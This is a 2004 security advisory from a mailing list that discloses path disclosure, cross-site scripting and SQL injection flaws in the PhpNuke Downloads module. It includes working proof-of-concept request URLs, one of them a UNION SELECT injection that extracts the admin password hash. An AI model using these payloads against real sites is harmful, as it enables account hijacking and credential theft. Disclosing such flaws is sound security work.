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[waraxe-2004-SA#027 - Once again - critical vulnerabilities in PhpNuke 6.x - 7.2]

From: Janek Vind <come2waraxe () yahoo com>
Date: Wed, 5 May 2004 08:52:38 -0700 (PDT)


{================================================================================}
{                              [waraxe-2004-SA#027]   
                          }
{================================================================================}
{                                                     
                          }
{        [ Once again - critical vulnerabilities in
PhpNuke 6.x - 7.2 ]          }
{                                                     
                          }
{================================================================================}
                                                      
                                                      
                  
Author: Janek Vind "waraxe"
Date: 05. May 2004
Location: Estonia, Tartu
Web: http://www.waraxe.us/index.php?modname=sa&id=27


Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Php-Nuke is a popular freeware content management
system, written in php by
Francisco Burzi. This CMS (Content Management System)
is used on many thousands
websites, because it's freeware, easy to install and
has broad set of features.

Homepage: http://phpnuke.org


Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

A. Full path disclosure:

A1 - unsanitaized user submitted variable "show" can
triger standard php error messages,
revealing full path to script - information, needed
for potential hacker.

Example: make http request like this:

http://localhost/nuke72/modules.php?name=Downloads&d_op=viewdownload&cid=2&show=foobar

and error message appears:

Warning: Division by zero in
D:\apache_wwwroot\nuke72\modules\Downloads\index.php
on line 797


B. Cross-site scripting aka XSS:

XSS can be used for cookie stealing, and because in
PhpNuke authentication-related information
is stored in cookies, account's hijacking and ID spoof
can happen.

B1 - XSS through unsanitaized user submitted variable
"ttitle":

http://localhost/nuke72/modules.php?name=Downloads&d_op=ratedownload&lid=0&ttitle=[xss
code here]
http://localhost/nuke72/modules.php?name=Downloads&d_op=ratedownload&lid=0&ttitle=<body
onload=document.title=1337>


B2 - XSS through unsanitaized user submitted variable
"sid":

http://localhost/nuke72/modules.php?name=Downloads&d_op=viewsdownload&sid=[xss
code here]


C. Sql injection:

C1 - noncritical sql injection through unsanitaized
user submitted variable "orderby":

http://localhost/nuke72/modules.php?name=Downloads&d_op=viewdownload&cid=2&orderby=foobar


C3 - critical sql injection through unsanitaized user
submitted variable "sid":

Let's look at original code from
"nuke72/modules/Downloads/index.php" line 901:


$result=$db->sql_query("
SELECT lid, url, title, description, date, hits,
downloadratingsummary, totalvotes,
totalcomments, filesize, version, homepage
FROM ".$prefix."_downloads_downloads
WHERE sid=$sid
order by $orderby
limit $min,$perpage
");

Oops, "$sid" variable is unquoted in sql query.
Scary...
What, if we request something like:

http://localhost/nuke72/modules.php?name=Downloads&d_op=viewsdownload&sid=-1/**/UNION/**/SELECT/**/0,0,aid,pwd,0,0,0,0,0,0,0,0/**/FROM/**/nuke_authors/**/WHERE/**/radminsuper=1/**/LIMIT/**/1/*

Cool - admin's username and password's md5 hash in
plaintext :)

Have a nice day!



Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to Raido Kerna and to all bugtraq readers in
Estonia! Tervitused!
Special greets to http://www.gamecheaters.us staff!



Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    come2waraxe () yahoo com
    Janek Vind "waraxe"

    Homepage: http://www.waraxe.us/

---------------------------------- [ EOF ]
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Current thread:

[waraxe-2004-SA#027 - Once again - critical vulnerabilities in PhpNuke 6.x - 7.2] Janek Vind (May 05)